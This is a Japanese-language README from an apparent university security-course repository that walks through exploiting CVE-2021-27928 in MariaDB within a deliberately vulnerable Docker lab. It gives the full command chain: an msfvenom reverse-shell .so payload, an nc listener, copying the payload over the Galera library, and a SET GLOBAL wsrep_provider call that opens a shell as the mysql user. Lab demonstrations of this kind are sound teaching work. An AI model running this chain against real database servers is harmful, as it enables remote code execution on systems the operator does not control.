laliea/cve-2021-27928CVE-2021-27928 脆弱性の悪用の概念実証
このリポジトリでは、Dockerコンテナを介したCVE-2021-27928脆弱性の悪用の概念実証を見つけることができます。
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
システム変数wsrep_providerとwsrep_notify_cmd systemは、スーパー権限を持つデータベースユーザによって実行時に変更可能であり、これらの権限で実行されるリモートコードの評価につながる可能性があります。
最初の変数は、サーバがdlopen()しようとする.soライブラリへのパスを受け取り、2番目の変数はサーバが実行するシェルスクリプトへのパスを受け取ります。これらが書き込み可能であることで、スーパー権限を持つデータベースユーザが、システムのmysqlユーザとして任意のコードを実行できるようになります。
この概念実証では、msfvenomを使用して、ペイロード（この場合はリバースシェル）を含む.soライブラリを生成します。その後、このファイルを脆弱なマシンにコピーし、wsrep_provider変数にこのパスを指定することでペイロードが実行され、リバースシェルを介してスーパー権限を持つユーザ（ここではmysqlユーザ）としてターゲットマシンにアクセスできるようになります。
この実験には、マシンにdocker、msfvenom、openssh-client、mariadbパッケージがインストールされている必要があります。
このセットアップでは、ターゲットマシンはMariaDB 10.4.12イメージ（この脆弱性の影響を受ける）をベースとしており、その中でopensshサーバが実行されています（rootログインは許可されていません）。そのため、パスワードがmypasswordの非rootユーザmyuserを作成しました。
脆弱なイメージのビルド:
docker build --rm=true -t mariadb-cve-2021-27928 .
ターゲットマシンの起動:
docker compose up
ペイロードは、エクスプロイトが完了した後にターゲットマシンが実行するバイナリです。ここでは、msfvenomを使用して、自身のIPアドレス（LHOST）とポート（LPORT）をパラメータとして、.soライブラリの形でリバースシェルペイロードを作成します。別のシェルで以下を実行します:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
LHOSTのIPアドレスは、docker-compose.yamlでネットワークゲートウェイとして定義されているもので、この場合は攻撃者であるあなたのものです。
バックグラウンドで、3番目のターミナルで、ターゲットマシンが接続するはずのポートで着信接続を待ち受けます。
nc -lnvp 4444
待ち受けているポート
4444は、ペイロード作成時にLPORTとして設定したものです。
次に、先ほど作成したペイロード（payload-CVE-2021-27928.so）を、scpコマンドを使用してssh経由でターゲットマシンにコピーする必要があります。非rootシステムユーザmyuser（パスワードはmypassword）として行います:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
/usr/libに直接ssh経由でファイルをコピーすることはできないため、マシンに接続して手動で適切な場所に移動する必要があります（myuserのパスワードはmypasswordであることに注意）:
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
ペイロードを別の名前（
/tmp/exploit.soなど）で別のディレクトリにアップロードし、そのパスをペイロードパスとして渡すこともできましたが、この脆弱性はすべてのmariadbパッケージで修正されたため、その悪用にはこのデモの最後で説明する調整が必要でした。
最後のステップは、MariaDBの脆弱性を悪用して、友好な非rootシステムユーザでありながら有能なデータベース管理者である私たちが、グローバル変数wsrep_providerにペイロードのパスを設定するリクエストを送信することです。
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
ここでの
rootはデータベースレベルの「管理者」を意味し、「システムroot」ユーザではありません。したがって、パスワードはdocker-compose.yamlファイル内のMYSQL_ROOT_PASSWORD: myrootpwdです。
最後に、すべてが期待通りに動作すれば、着信接続を待ち受けていたターミナルに、ターゲットマシンが正常に接続してきたことを確認でき、シェルコマンドを実行できるようになります。お楽しみください :)
リバースシェルは「通常の」シェルほど洗練されていません。オートコンプリート、シェルプロンプト、履歴がないため、コマンドの適切な実行を監視するのはあなた次第です。したがって、例として
ls -laを自由に使用してください。
netcatのシェルで
whoamiを実行すると、自分がmysqlシステムユーザであることを確認できます！
MariaDBのJiraによると、これらの変数を実行時に変更する実用的なユースケースはほとんど（またはまったく）なく、テストでのみ使用されます。この脆弱性が発見された後、修正はこれらを読み取り専用にすることでした。これは簡単で安全な修正であり、テストスクリプトが多少複雑になるという犠牲はありました。
以前はそうではありませんでしたが、現在wsrep_providerが取ることができる唯一のパス値は/usr/lib/galera/libgalera_smm.soです。そのため、この概念実証では、ペイロードをアップロードできるように/usr/lib/galeraフォルダに書き込み権限を与えるなどの調整が必要でした。したがって、この構成はこのデモのコンテキストでは意図的に脆弱なものですが、現在のほとんどのシステムではこの方法では使用できなくなりました。
この作業は、グルノーブルINP - エンシマグ、UGAの情報システム工学専門最終学年で開講された情報システムセキュリティコースの一環として行われました。